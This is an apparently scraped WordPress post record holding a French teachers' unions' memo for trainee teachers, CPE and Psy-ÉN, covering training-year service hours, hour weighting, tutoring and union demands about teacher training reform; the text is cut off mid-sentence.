

{"id":298,"date":"2021-02-11T23:02:50","date_gmt":"2021-02-11T22:02:50","guid":{"rendered":"http:\/\/reims2.snuep.fr\/?p=298"},"modified":"2025-09-02T15:52:39","modified_gmt":"2025-09-02T13:52:39","slug":"memo-stagiaires","status":"publish","type":"post","link":"https:\/\/normandie.snuep.fr\/?p=298","title":{"rendered":"M\u00c9MO STAGIAIRES"},"content":{"rendered":"<h2><a href=\"http:\/\/reims2.snuep.fr\/wp-content\/uploads\/2021\/02\/me\u0301mo-stagiaires-pdf-bd-1.pdf\" target=\"_blank\" rel=\"noopener noreferrer\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-411\" src=\"http:\/\/reims2.snuep.fr\/wp-content\/uploads\/2021\/02\/stagiare-memo-160x300.jpg\" alt=\"\" width=\"160\" height=\"300\" srcset=\"https:\/\/normandie.snuep.fr\/wp-content\/uploads\/2021\/02\/stagiare-memo-160x300.jpg 160w, https:\/\/normandie.snuep.fr\/wp-content\/uploads\/2021\/02\/stagiare-memo.jpg 230w\" sizes=\"auto, (max-width: 160px) 100vw, 160px\" \/><\/a><\/h2>\n<h2><strong>Professeurs, CPE et Psy-\u00c9N stagiaires<\/strong><\/h2>\n<p class=\"has-vivid-green-cyan-color has-text-color\"><strong>Bienvenue dans la profession<\/strong><\/p>\n<p>Vous venez d\u2019\u00eatre nomm\u00e9s professeurs, CPE ou Psy-\u00c9N stagiaires et entrez de plain-pied dans un m\u00e9tier passionnant, riche de contacts et d\u2019exp\u00e9riences vari\u00e9es. Les militants des syndicats du second degr\u00e9 de la FSU (SNES, SNEP, SNUEP) seront pr\u00e9sents pour vous accompagner au quotidien, que ce soit dans l\u2019\u00e9tablissement ou pour vos d\u00e9marches administratives.<\/p>\n<p>Tr\u00e8s investis dans la d\u00e9fense individuelle et collective des personnels, les syndicats de la FSU sont intervenus pour que cette session ne soit pas annul\u00e9e et pour qu\u2019un collectif budg\u00e9taire soit vot\u00e9 afin que tous les admissibles ayant pass\u00e9 les \u00e9preuves d\u2019admissibilit\u00e9 avant le confinement soient d\u00e9clar\u00e9s admis. Les besoins existent. Lors du pr\u00e9c\u00e9dent quinquennat, les syndicats de la FSU avaient obtenu l\u2019augmentation du nombre de postes aux concours, mais le gouvernement actuel fait des choix oppos\u00e9s. Pour la troisi\u00e8me ann\u00e9e cons\u00e9cutive, ce nombre est en baisse et celui des postes non pourvus augmente alors que le second degr\u00e9 accueille 22 000 \u00e9l\u00e8ves suppl\u00e9mentaires \u00e0 la rentr\u00e9e 2020. Ann\u00e9e apr\u00e8s ann\u00e9e, ce sous-recrutement creuse le d\u00e9ficit de personnels sur le terrain, d\u00e9t\u00e9riore leurs conditions de travail comme celles des \u00e9l\u00e8ves et entrave la mobilit\u00e9.<\/p>\n<p>Plut\u00f4t que de permettre aux \u00e9tudiants de pr\u00e9parer les concours dans de bonnes conditions, plut\u00f4t que de recruter plus de personnels form\u00e9s et d\u2019augmenter leur salaire pour rendre plus attractifs les m\u00e9tiers de l\u2019\u00e9ducation, le minist\u00e8re fait le choix, avec sa nouvelle r\u00e9forme de la formation, de recruter des \u00e9tudiants \u00e0 un moindre co\u00fbt. En op\u00e9rant ainsi, le minist\u00e8re aggrave leurs difficult\u00e9s : r\u00e9ussir un concours tout en pr\u00e9parant un master 2 avec, en plus, la charge de classes en responsabilit\u00e9 : un v\u00e9ritable parcours du combattant.<\/p>\n<p>Tr\u00e8s attentifs aux questions de formation, les syndicats de la FSU (SNES, SNEP, SNUEP) \u0153uvrent pour que la formation initiale soit revue dans l\u2019objectif d\u2019une meilleure professionnalisation des personnels (stage \u00e0 tiers-temps, compl\u00e9ment de formation universitaires, articulation th\u00e9orie\/pratique\u2026) au b\u00e9n\u00e9fice des \u00e9l\u00e8ves et non dans une logique comptable. Ils \u0153uvrent aussi pour l\u2019am\u00e9lioration de la formation continue.<\/p>\n<p>Nous esp\u00e9rons que ce m\u00e9mento sera pour vous un outil au quotidien qui participera \u00e0 vous convaincre de nous rejoindre en vous syndiquant et en vous engageant avec nous dans la r\u00e9flexion et l\u2019action revendicative collective pour nos m\u00e9tiers, nos conditions de travail, nos salaires et pour l\u2019avenir de nos \u00e9l\u00e8ves.<\/p>\n<p>Nous vous souhaitons une bonne rentr\u00e9e et une bonne ann\u00e9e de stage.<\/p>\n<p><strong>Fr\u00e9d\u00e9rique Rolet<\/strong>, secr\u00e9taire g\u00e9n\u00e9rale SNES-FSU<\/p>\n<p><strong>Beno\u00eet Hubert<\/strong>, secr\u00e9taire g\u00e9n\u00e9ral SNEP-FSU<\/p>\n<p><strong>Sigrid G\u00e9rardin<\/strong>, cosecr\u00e9taire g\u00e9n\u00e9rale SNUEP-FSU<\/p>\n<p><em>Ce m\u00e9mo a \u00e9t\u00e9 r\u00e9alis\u00e9 par les responsables nationaux du SNES-FSU, du SNEP-FSU et du SNUEP-FSU<\/em><\/p>\n<p>Camille Aud\u00e9, Coralie Benech, Axel Benoist, Alain Billate, Fran\u00e7ois Boudet, Sandrine Charrier, Pierre Claustre, G\u00e9raldine Duriez, Gr\u00e9gory Frackowiak, Claire Gu\u00e9ville, Romain Gentner, Anne-Sophie Legrand, Clarisse Mac\u00e9, Fabien M\u00e9lanie, Thierry Meyssonnier, Herv\u00e9 Moreau, Jean-Claude Richoilley, Romain Rouzaud, Andr\u00e9e Ruggiero, Emmanuel Sechet, Erick Sta\u00eblen<\/p>\n<h2><a name=\"menu-1\"><\/a><strong>Chapitre 1<\/strong> \u2013 La formation<\/h2>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-2\"><\/a><em><strong>Quelles formations pour quels m\u00e9tiers : notre projet<\/strong><\/em><\/h3>\n<p class=\"has-black-color has-text-color\">Permettre \u00e0 tous les \u00e9l\u00e8ves de r\u00e9ussir quelles que soient leurs origines familiales ou sociales, les amener le plus loin possible dans leurs \u00e9tudes, former des citoyens qui seront capables de s\u2019ins\u00e9rer dans une soci\u00e9t\u00e9 o\u00f9 les enjeux sociaux, politiques et \u00e9conomiques sont complexes\u2026 Les m\u00e9tiers de l\u2019enseignement et de l\u2019\u00e9ducation ont une grande responsabilit\u00e9 sociale, et c\u2019est pour permettre aux enseignants et aux CPE de l\u2019exercer que le SNES-FSU, le SNEP-FSU et le SNUEP-FSU affirment que ces m\u00e9tiers sont hautement qualifi\u00e9s.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\"><em>Professeurs, CPE et psy-\u00e9n ont besoin d\u2019une qualification de niveau master<\/em><\/h4>\n<p class=\"has-black-color has-text-color\">Professeurs et CPE doivent permettre aux \u00e9l\u00e8ves d\u2019acqu\u00e9rir des savoirs et des savoir-faire. Dans les champs respectifs, les connaissances \u00e9voluant rapidement, il est n\u00e9cessaire qu\u2019ils soient capables de suivre ces changements et de les int\u00e9grer par eux-m\u00eames. Or, ce n\u2019est qu\u2019au niveau master que les \u00e9tudiants entrent en contact avec le monde de la recherche, permettant une approche diff\u00e9rente des connaissances : ils acqui\u00e8rent alors la capacit\u00e9 de prendre de la distance par rapport aux savoirs, de se questionner \u00e0 leurs sujets.<\/p>\n<p>Les psychologues de l\u2019\u00c9ducation nationale (Psy-\u00c9N) doivent justifier, d\u00e8s leur nomination en tant que stagiaire dans un centre de formation, de la possession de leur Master 2 de psychologie et de leur stage de 500\u00a0heures. Ils sont d\u00e9sign\u00e9s psychologues au regard de la loi.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\"><em>Un m\u00e9tier, \u00e7a s\u2019apprend<\/em><\/h4>\n<p class=\"has-black-color has-text-color\">Il ne suffit pas d\u2019avoir une haute qualification disciplinaire pour \u00eatre enseignant. Il est n\u00e9cessaire aussi de concevoir des situations d\u2019apprentissage et de les adapter aux \u00e9l\u00e8ves, c\u2019est-\u00e0-dire d\u2019\u00eatre capable de r\u00e9fl\u00e9chir \u00e0 ses pratiques. Une formation professionnelle de qualit\u00e9 est ainsi n\u00e9cessaire afin de pouvoir r\u00e9pondre aux questions suivantes : quels savoirs enseigner (pour qui\u2026 pour quoi\u2026) ? Comment transposer des savoirs universitaires en savoirs scolaires accessibles \u00e0 tous ? Comment construire un cours ? Comment prendre en compte la diversit\u00e9 des \u00e9l\u00e8ves dans la construction du cours ? Comment dialoguer au sein de la classe ? Quels acquis et comp\u00e9tences \u00e9valuer ? Qu\u2019est-ce qui fait obstacle \u00e0 la compr\u00e9hension ? Comment organiser le travail en classe ?<\/p>\n<p>Il en est de m\u00eame pour le m\u00e9tier de CPE : Comment suivre les \u00e9l\u00e8ves au cours de l\u2019ann\u00e9e ? Comment cr\u00e9er un lien avec les familles ? Comment g\u00e9rer les personnels affect\u00e9s \u00e0 la vie scolaire ? Comment travailler en \u00e9quipe avec tous les personnels de l\u2019\u00e9tablissement (professeurs, CPE, Psy-\u00c9N, assistantes sociales, infirmi\u00e8res, direction, etc.) ?<\/p>\n<p>Recrut\u00e9s par concours sur la base d\u2019une licence et d\u2019un master en psychologie, les psychologues de l\u2019\u00c9ducation nationale stagiaires b\u00e9n\u00e9ficient d\u2019une formation r\u00e9mun\u00e9r\u00e9e d\u2019un an \u00e0 l\u2019issue de laquelle ils obtiennent un certificat, le CAF \u2013 Psy-\u00c9N (Certificat d\u2019aptitude aux fonctions de psychologue de l\u2019\u00c9ducation nationale) pour la titularisation.<\/p>\n<p>L\u2019institution scolaire, son histoire, ses missions et ses modes de fonctionnement impliquent que soient dispens\u00e9s des enseignements en psychologie, th\u00e9oriques et m\u00e9thodologiques communs et sp\u00e9cifiques aux deux sp\u00e9cialit\u00e9s, ainsi qu\u2019une connaissance des principes fondamentaux et des grands textes qui r\u00e9gissent le syst\u00e8me \u00e9ducatif.<\/p>\n<p>Cette formation permettra aux Psy-\u00c9N de situer leurs interventions et leur positionnement dans l\u2019\u00e9cole.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Nous revendiquons ainsi la n\u00e9cessit\u00e9 :<br \/>\n\u2022 pendant le cursus universitaire, d\u2019introduire des modules de pr\u00e9professionnalisation : d\u00e8s la L3, puis de plus en plus nombreux en M1 et M2 articul\u00e9s aux modules disciplinaires et sans \u00eatre dominants. Ces modules devraient \u00eatre de l\u2019histoire de la discipline (comment les connaissances se construisent), de l\u2019\u00e9pist\u00e9mologie, de la didactique\u2026 ;<br \/>\n\u2022 apr\u00e8s l\u2019obtention du concours, de mettre en place une ann\u00e9e pleine et enti\u00e8re de formation professionnelle initiale bas\u00e9e sur l\u2019alternance :<br \/>\n\u2014 1\/3 du temps de service serait pris sur le service du tuteur et le stagiaire aurait la responsabilit\u00e9 de ses classes mais celle-ci pourrait \u00eatre progressive ; cela r\u00e9soudrait les probl\u00e8mes d\u2019affectation, de compatibilit\u00e9 des emplois du temps, et le tuteur, d\u00e9charg\u00e9, aurait le temps de se former, de visiter et conseiller son stagiaire ;<br \/>\n\u2014 1\/3 du temps permettrait un retour r\u00e9flexif sur ses pratiques et le travail personnel (construction des cours forc\u00e9ment plus longue qu\u2019un titulaire exp\u00e9riment\u00e9) ;<br \/>\n\u2014 1\/3 du temps serait consacr\u00e9 \u00e0 une formation r\u00e9pondant aux besoins sp\u00e9cifiques de chaque stagiaire dans une structure de formation au sein de l\u2019universit\u00e9 en lien avec la recherche.<br \/>\n\u2022 apr\u00e8s la titularisation, d\u2019avoir une entr\u00e9e progressive dans le m\u00e9tier avec un all\u00e8gement du temps de service (mi-temps la premi\u00e8re ann\u00e9e \u2014 T1 = titulaire 1re ann\u00e9e \u2014 et 2\/3 temps la 2e ann\u00e9e \u2014 T2) permettant des temps de formation r\u00e9pondant aux attentes et aux besoins de n\u00e9otitulaires ;<br \/>\n\u2022 pendant la carri\u00e8re, d\u2019avoir la possibilit\u00e9 de suivre une formation continue permettant de mettre \u00e0 jour ses connaissances, de poursuivre en groupe la r\u00e9flexion sur ses pratiques.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-3\"><\/a><em>Votre ann\u00e9e de stage<\/em><\/h3>\n<p><strong>Textes de r\u00e9f\u00e9rence<\/strong> : <a href=\"https:\/\/www.legifrance.gouv.fr\/jorf\/id\/JORFTEXT000029135370\/\">arr\u00eat\u00e9 du 18\u00a0juin 2014<\/a> fixant les modalit\u00e9s de formation initiale de certains personnels enseignants et d\u2019\u00e9ducation de l\u2019enseignement public stagiaires ; <a href=\"https:\/\/www.education.gouv.fr\/bo\/15\/Hebdo14\/MENH1506031C.htm\">circulaire n\u00b0 2015-057 du 29 avril 2015<\/a>, en particulier le paragraphe 2.d. qui pr\u00e9cise la dur\u00e9e du service d\u2019enseignement des stagiaires enseignants.<\/p>\n<p>L\u2019arr\u00eat\u00e9 du 31\/08\/2017 pr\u00e9cise, pour les Psy-\u00c9N, les volumes horaires et la r\u00e9partition des temps de formation en INSP\u00c9 o\u00f9 ils participent \u00e0 des temps communs avec enseignants et CPE. Ils ont aussi quatorze semaines de mise en situation professionnelle et b\u00e9n\u00e9ficient d\u2019une pratique accompagn\u00e9e avec un tuteur.<\/p>\n<figure class=\"wp-block-image\"><img decoding=\"async\" class=\"lazyloaded\" src=\"https:\/\/www.snes.edu\/wp-content\/uploads\/annee-de-stage.png\" alt=\"\" data-ll-status=\"loaded\" \/><\/figure>\n<h4 class=\"has-vivid-red-color has-text-color\"><em>Quel temps de service ?<\/em><\/h4>\n<p>Le temps de service avec \u00e9l\u00e8ves sera variable selon le concours pass\u00e9 et l\u2019exp\u00e9rience professionnelle ant\u00e9rieure acquise.<\/p>\n<p>\u2022 Psy-\u00c9N, la r\u00e9partition entre les lieux de formation est variable selon les centres de formation : minimum 350\u00a0heures en centre de formation, 70\u00a0\u00e0 100 heures en INSP\u00c9 et 14 semaines aupr\u00e8s d\u2019un tuteur Psy-\u00c9N de la \u00adsp\u00e9cialit\u00e9 (EDA ou EDO).<\/p>\n<p>Attention, les heures d\u2019enseignements effectu\u00e9es en REP+, en cycle \u00adterminal g\u00e9n\u00e9ral et technologique et en BTS sont pond\u00e9r\u00e9es :<\/p>\n<p>\u2022 En REP+, pour tous les professeurs : chaque heure compte pour 1,1.<\/p>\n<p>\u2022 En cycle terminal g\u00e9n\u00e9ral et technologique, pour tous les professeurs hors EPS : chaque heure compte pour 1,1 dans la limite de 10\u00a0heures pond\u00e9r\u00e9es.<\/p>\n<p>\u2022 En BTS, pour tous les professeurs : chaque heure compte pour 1,25.<\/p>\n<p>Le temps de service des stagiaires doit tenir compte de ces pond\u00e9rations.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Le SNES-FSU, le SNEP-FSU, le SNUEP-FSU d\u00e9noncent le fait que des \u00adstagiaires soient \u00e0 temps plein devant \u00e9l\u00e8ves. Quelle que soit l\u2019exp\u00e9rience professionnelle pass\u00e9e, une ann\u00e9e de formation avec d\u00e9charge de service est indispensable pour permettre \u00e0 tous d\u2019avoir toutes les clefs pour faire face \u00e0 la complexit\u00e9 de nos m\u00e9tiers. Par ailleurs, le retour au service \u00e0 mi-temps pour les autres laur\u00e9ats est une am\u00e9lioration par rapport \u00e0 la situation qui a exist\u00e9 de 2010 \u00e0 2014, mais reste encore une quotit\u00e9 trop \u00e9lev\u00e9e pour permettre de suivre dans de bonnes conditions la formation et avoir le temps d\u2019accomplir les t\u00e2ches associ\u00e9es \u00e0 son service tout en ayant un retour r\u00e9flexif sur sa pratique. Le SNES-FSU est attach\u00e9 au fait que les Psy-\u00c9N soient consid\u00e9r\u00e9s comme des personnels en formation et non affect\u00e9s \u00e0 mi-temps sur le terrain comme le souhaitaient certaines organisations syndicales.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h4 class=\"has-vivid-red-color has-text-color\"><em>Heure suppl\u00e9mentaire ?<\/em><\/h4>\n<p>Afin de ne pas alourdir leur charge de travail et de pouvoir se former, les stagiaires n\u2019ont pas vocation \u00e0 effectuer des heures suppl\u00e9mentaires. Si aucun texte n\u2019interdit formellement l\u2019attribution d\u2019heures suppl\u00e9mentaires, les circulaires minist\u00e9rielles pr\u00e9cisent en revanche : \u00ab\u00a0L\u2019objectif de l\u2019ann\u00e9e de stage \u00e9tant de permettre aux stagiaires de se former, ils n\u2019ont pas vocation \u00e0 se voir confier des heures suppl\u00e9mentaires\u00a0\u00bb.<\/p>\n<p>En cas de pond\u00e9ration des heures d\u2019enseignement, ces pond\u00e9rations doivent \u00eatre incluses dans le d\u00e9compte du maximum de service. Par exemple, un professeur certifi\u00e9 stagiaire exer\u00e7ant 9\u00a0heures en classe de Premi\u00e8re ou de Terminale, b\u00e9n\u00e9ficiant donc de la pond\u00e9ration (1,1) des heures effectu\u00e9es en cycle terminal, verra son service d\u00e9compt\u00e9 ainsi : 9\u00a0heures (cours) + 0,9 (pond\u00e9ration de ces 9\u00a0heures) =\u00a09,9\u00a0heures. On ne peut lui imposer une 10e heure de cours (voir circulaire n\u00b0 2015-057 du 29 avril 2015).<\/p>\n<p>Les Psy-\u00c9N n\u2019ont pas d\u2019heure suppl\u00e9mentaire.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Le SNES-FSU, le SNEP-FSU, le SNUEP-FSU combattent toute attribution d\u2019heures suppl\u00e9mentaires aux stagiaires. Contactez votre section acad\u00e9mique, afin que les militants vous accompagnent en cas de difficult\u00e9s.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h4 class=\"has-vivid-red-color has-text-color\"><em>Temps partiel ?<\/em><\/h4>\n<p>Les stagiaires \u00e0 mi-temps ne peuvent pas b\u00e9n\u00e9ficier d\u2019un temps partiel.<\/p>\n<p>Seuls les stagiaires \u00e0 temps plein ont cette possibilit\u00e9. Le stage doit durer un an \u00e9quivalent temps plein, il est donc prolong\u00e9 le temps n\u00e9cessaire (exemple : si le stagiaire prend un mi-temps, alors son stage durera deux ans).<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\"><em>Combien de niveaux ?<\/em><\/h4>\n<p>Il faut \u00ab\u00a0\u00e9viter\u00a0\u00bb plus de deux niveaux d\u2019enseignement. Cette recommandation est difficile voire impossible \u00e0 mettre en \u0153uvre pour les stagiaires \u00e0 temps plein, et difficile dans de nombreuses disciplines o\u00f9 les horaires des \u00e9l\u00e8ves sont faibles. C\u2019est pourquoi le minist\u00e8re s\u2019est bien gard\u00e9 d\u2019interdire de donner plus de deux niveaux aux stagiaires et recommande juste de l\u2019\u00ab\u00a0\u00e9viter\u00a0\u00bb.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\"><em>Quelle formation ?<\/em><\/h4>\n<p class=\"has-vivid-red-color has-text-color\">Pour qui ?<\/p>\n<p>D\u2019apr\u00e8s la note de service 2016-070, fiche n\u00b0\u00a010, les stagiaires qualifi\u00e9s pour enseigner dans les pays de l\u2019UE et en partenariat avec la CE, ainsi que les enseignants titulaires du second degr\u00e9 peuvent \u00eatre dispens\u00e9s de tout ou partie de la formation.<\/p>\n<p>Tous les autres, qu\u2019ils soient \u00e0 temps plein ou mi-temps, b\u00e9n\u00e9ficieront d\u2019une formation dont le contenu et le volume horaire seront d\u00e9termin\u00e9s par une commission acad\u00e9mique selon le profil du stagiaire.<\/p>\n<p class=\"has-vivid-red-color has-text-color\">La p\u00e9riode d\u2019accueil<\/p>\n<p>De pr\u00e9f\u00e9rence \u00ab\u00a0pendant la semaine pr\u00e9c\u00e9dant la rentr\u00e9e scolaire\u00a0\u00bb donc fin ao\u00fbt mais \u00ab\u00a0sur la base du volontariat\u00a0\u00bb puisque le minist\u00e8re ne peut l\u2019imposer, les stagiaires \u00e9tant nomm\u00e9s au 1er septembre (sauf \u00e0 La R\u00e9union). Ainsi, toute formation ayant lieu avant le 1er septembre ne peut-\u00eatre que du volontariat, ce qui signifie aussi qu\u2019elle n\u2019est pas r\u00e9mun\u00e9r\u00e9e. En revanche, gr\u00e2ce \u00e0 l\u2019action syndicale, les stagiaires sont prot\u00e9g\u00e9s en cas d\u2019accident. L\u2019objectif est \u00ab\u00a0la pr\u00e9sentation des enjeux de l\u2019ann\u00e9e de stage, des conditions de son d\u00e9roulement ainsi que l\u2019environnement professionnel dans lequel il aura lieu\u00a0\u00bb.<\/p>\n<p>Les Psy-\u00c9N stagiaires font leur rentr\u00e9e en centre de formation au 1er septembre.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Le SNES-FSU, le SNEP-FSU et le SNUEP-FSU d\u00e9noncent l\u2019absence de r\u00e9mun\u00e9ration des stagiaires pendant cette p\u00e9riode d\u2019accueil.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p class=\"has-vivid-red-color has-text-color\">Le tutorat<\/p>\n<p>La formation doit s\u2019accompagner d\u2019un tutorat, c\u2019est-\u00e0-dire, du suivi personnalis\u00e9 de chaque stagiaire par un tuteur \u00ab\u00a0de terrain\u00a0\u00bb et parfois \u00e9galement un tuteur de l\u2019INSP\u00c9.<\/p>\n<p><strong>\u2022 Le tuteur \u00ab\u00a0de terrain\u00a0\u00bb : un r\u00f4le immense bien difficile \u00e0 remplir<\/strong><\/p>\n<p>Choisi par l\u2019Inspecteur car \u00ab\u00a0exp\u00e9riment\u00e9, reconnu pour ses comp\u00e9tences didactiques et p\u00e9dagogiques, son engagement dans le syst\u00e8me \u00e9ducatif\u00a0\u00bb, il est th\u00e9oriquement volontaire, m\u00eame si parfois l\u2019IPR fait fortement pression sur les coll\u00e8gues. Parfois le tuteur n\u2019a m\u00eame pas \u00e9t\u00e9 consult\u00e9 et d\u00e9couvre le jour de la rentr\u00e9e qu\u2019il est tuteur ! Il exerce la plupart du temps dans votre \u00e9tablissement.<\/p>\n<p>Sa t\u00e2che est d\u00e9terminante pour vous mais pourtant il ne b\u00e9n\u00e9ficie que d\u2019une journ\u00e9e d\u2019information en d\u00e9but d\u2019ann\u00e9e pour pr\u00e9senter les grilles d\u2019\u00e9valuation des comp\u00e9tences et une autre en cours d\u2019ann\u00e9e pour faire le bilan. Ses missions : participer \u00e0 votre accueil avant la rentr\u00e9e, aider \u00e0 votre prise de fonction, \u00e0 la conception de vos s\u00e9quences d\u2019enseignement, \u00e0 la prise en charge de vos classes, vous apporter tout au long de l\u2019ann\u00e9e conseils et assistance, vous accueillir dans ses classes et aller vous observer dans les v\u00f4tres, vous aider \u00e0 exprimer vos besoins de formation. Le tuteur n\u2019est pourtant pas d\u00e9charg\u00e9 pour assurer cette vaste mission et pire, a vu sa r\u00e9mun\u00e9ration diminuer de 37\u00a0% passant de 2 000 \u00e0 1 250\u00a0euros depuis la rentr\u00e9e 2014.<\/p>\n<p><strong>\u2022 Le tuteur de l\u2019INSP\u00c9<\/strong><\/p>\n<p>Il suit le stagiaire dans son parcours de formation et permet, en collaboration avec le tuteur de terrain, de faire le lien entre la pratique et les formations.<\/p>\n<p class=\"has-vivid-red-color has-text-color\">Le r\u00f4le du chef d\u2019\u00e9tablissement<\/p>\n<p>Dans les textes officiels, il n\u2019a plus de r\u00f4le dans la formation des stagiaires affect\u00e9s dans son \u00e9tablissement. En revanche, il \u00e9met un avis sur leur titularisation.<\/p>\n<p class=\"has-vivid-red-color has-text-color\">Le r\u00f4le du directeur de CIO<\/p>\n<p>Le directeur de CIO contribue \u00e0 la formation du stagiaire et veille \u00e0 son int\u00e9gration dans l\u2019\u00e9quipe des Psy-\u00c9N durant les p\u00e9riodes en CIO.<\/p>\n<p class=\"has-vivid-red-color has-text-color\">La formation th\u00e9orique<\/p>\n<p>Comme pour le temps de service, la formation sera tr\u00e8s variable selon les laur\u00e9ats.<\/p>\n<p>\u2022<strong> Pour les laur\u00e9ats qui doivent valider un M2 pendant l\u2019ann\u00e9e de stage<\/strong><\/p>\n<p>Leur formation sera dispens\u00e9e au sein du M2 MEEF qu\u2019ils devront valider pour \u00eatre titularis\u00e9s.<\/p>\n<p>Le minist\u00e8re de l\u2019\u00c9ducation nationale a lanc\u00e9 en 2019 un grand chantier de r\u00e9forme, avec l\u2019intention avou\u00e9e de reprendre en main la formation des enseignants pour l\u2019adapter davantage aux besoins de l\u2019employeur. Deux textes concernent le Master MEEF, mais ne s\u2019appliqueront pas encore cette ann\u00e9e : un arr\u00eat\u00e9 r\u00e9\u00e9crit cadrant le master, et un \u00ab\u00a0r\u00e9f\u00e9rentiel de formation\u00a0\u00bb qui n\u2019existait pas jusqu\u2019\u00e0 pr\u00e9sent. Il est difficile de savoir si l\u2019esprit de ces nouveaux textes modifiera d\u00e8s cette ann\u00e9e la formation en M2. Le nouvel arr\u00eat\u00e9 devrait donner \u00e0 l\u2019\u00e9valuation du stage un poids important dans la validation du M2 (30 points sur 60, au lieu d\u2019au moins 20 actuellement). C\u2019est conforme \u00e0 ce que le stage exige effectivement, puisqu\u2019il correspond \u00e0 un mi-temps, ce qui est tr\u00e8s lourd. Les syndicats de la FSU du premier et du second degr\u00e9, ainsi que du sup\u00e9rieur, ne cessent de le d\u00e9noncer : il ne reste gu\u00e8re de temps pour prendre du recul sur sa propre pratique et int\u00e9grer les autres \u00e9l\u00e9ments de formation (ce que la r\u00e9daction du m\u00e9moire aurait d\u00fb permettre). Le r\u00e9f\u00e9rentiel de formation, auquel devront se conformer les nouvelles maquettes de master MEEF, reprend largement le r\u00e9f\u00e9rentiel de comp\u00e9tences publi\u00e9 en 2013, sur lequel s\u2019appuie votre \u00e9valuation en fin de stage. Tr\u00e8s formaliste, le r\u00e9f\u00e9rentiel de formation semblait, dans ses premi\u00e8res moutures, bien exigeant, en pla\u00e7ant tr\u00e8s haut le niveau de ma\u00eetrise des comp\u00e9tences professionnelles attendu \u00e0 la fin du M2. L\u2019usage des technologies num\u00e9riques fait l\u2019objet de pr\u00e9conisations r\u00e9p\u00e9t\u00e9es, sans v\u00e9ritable r\u00e9flexion p\u00e9dagogique ou didactique.<\/p>\n<p><strong>Frais d\u2019inscription \u00e0 l\u2019INSPE<\/strong><\/p>\n<p>Les stagiaires sont dispens\u00e9s du paiement de tous les droits d\u2019inscription. En revanche, le minist\u00e8re de l\u2019Education Nationale a refus\u00e9 de prendre \u00e0 sa charge la CVEC (Contribution de vie \u00e9tudiante et de campus) de 90 \u20ac que la loi relative \u00e0 l\u2019orientation et \u00e0 la r\u00e9ussite des \u00e9tudiants, bien mal nomm\u00e9e, a impos\u00e9 \u00e0 tous les \u00e9tudiants depuis la rentr\u00e9e 2018. Les syndicats de la FSU s\u2019\u00e9taient oppos\u00e9s \u00e0 cette loi, et demandent l\u2019exon\u00e9ration de la CVEC pour les stagiaires.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Contactez nos sections acad\u00e9miques, consultez les pages d\u00e9di\u00e9es \u00e0 l\u2019entr\u00e9e dans le m\u00e9tier sur leurs sites (voir les adresses en fin de ce m\u00e9mo) pour conna\u00eetre l\u2019organisation des formations dans votre acad\u00e9mie d\u2019affectation. Aspect positif, ces journ\u00e9es de formation seront l\u2019occasion de retrouver d\u2019autres stagiaires et de confronter vos situations : vous pourrez faire ce qui est si important dans l\u2019apprentissage de nos m\u00e9tiers, mettre \u00e0 distance votre pratique, prendre du recul. Profitez-en au maximum, pour \u00e9changer sur vos probl\u00e8mes, hors du cadre hi\u00e9rarchique, et n\u2019h\u00e9sitez pas \u00e0 interpeller les formateurs et les IPR. Le r\u00e9f\u00e9rentiel de formation des psychologues est commun \u00e0 tous les centres, mais force est de constater, apr\u00e8s une ann\u00e9e de fonctionnement, que les modalit\u00e9s ne sont pas identiques, pas plus que les contenus. Informez vos correspondants Psy-\u00c9N des probl\u00e8mes rencontr\u00e9s. Nos militants feront tout leur possible pour \u00eatre \u00e9galement pr\u00e9sents sur les lieux de formation pour vous soutenir et vous conseiller. <strong>\u00adProfitez-en \u00e9galement !<\/strong><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p>\u2022 <strong>Pour les laur\u00e9ats qui n\u2019ont pas \u00e0 valider de master pendant l\u2019ann\u00e9e de stage<\/strong><\/p>\n<p>Ils doivent b\u00e9n\u00e9ficier d\u2019un parcours de formation adapt\u00e9 consistant \u00e0 suivre certains modules du master 2 MEEF s\u2019ils ne les ont pas d\u00e9j\u00e0 valid\u00e9s, des \u00adformations au sein d\u2019autres masters, du Plan acad\u00e9mique de formation (PAF) ou d\u2019autres dispositifs (magister, conf\u00e9rences, formations hybrides\u2026).<\/p>\n<p>Les volumes horaires et contenus ne sont pas cadr\u00e9s nationalement : il y a donc une grande disparit\u00e9 selon les acad\u00e9mies.<\/p>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-4\"><\/a><em>R\u00e9f\u00e9rentiel des comp\u00e9tences professionnelles<\/em><\/h3>\n<p>L\u2019arr\u00eat\u00e9 du 1\/07\/2013 paru au JO du 18\/07\/2013 d\u00e9finit ces comp\u00e9tences et la fiche 14 de la <a href=\"https:\/\/www.legifrance.gouv.fr\/download\/pdf\/circ?id=39396\">note de service 2015-055<\/a> en pr\u00e9cise les degr\u00e9s d\u2019acqui\u00adsition pour un stagiaire enseignant ou d\u2019\u00e9ducation.<\/p>\n<p><a href=\"https:\/\/www.legifrance.gouv.fr\/loda\/id\/LEGITEXT000034540157\/2020-11-06\/\">Le r\u00e9f\u00e9rentiel de connaissances et de comp\u00e9tences du 26\/04\/17<\/a>, paru au JO du 30\/04\/17, d\u00e9finit la liste des connaissances et de 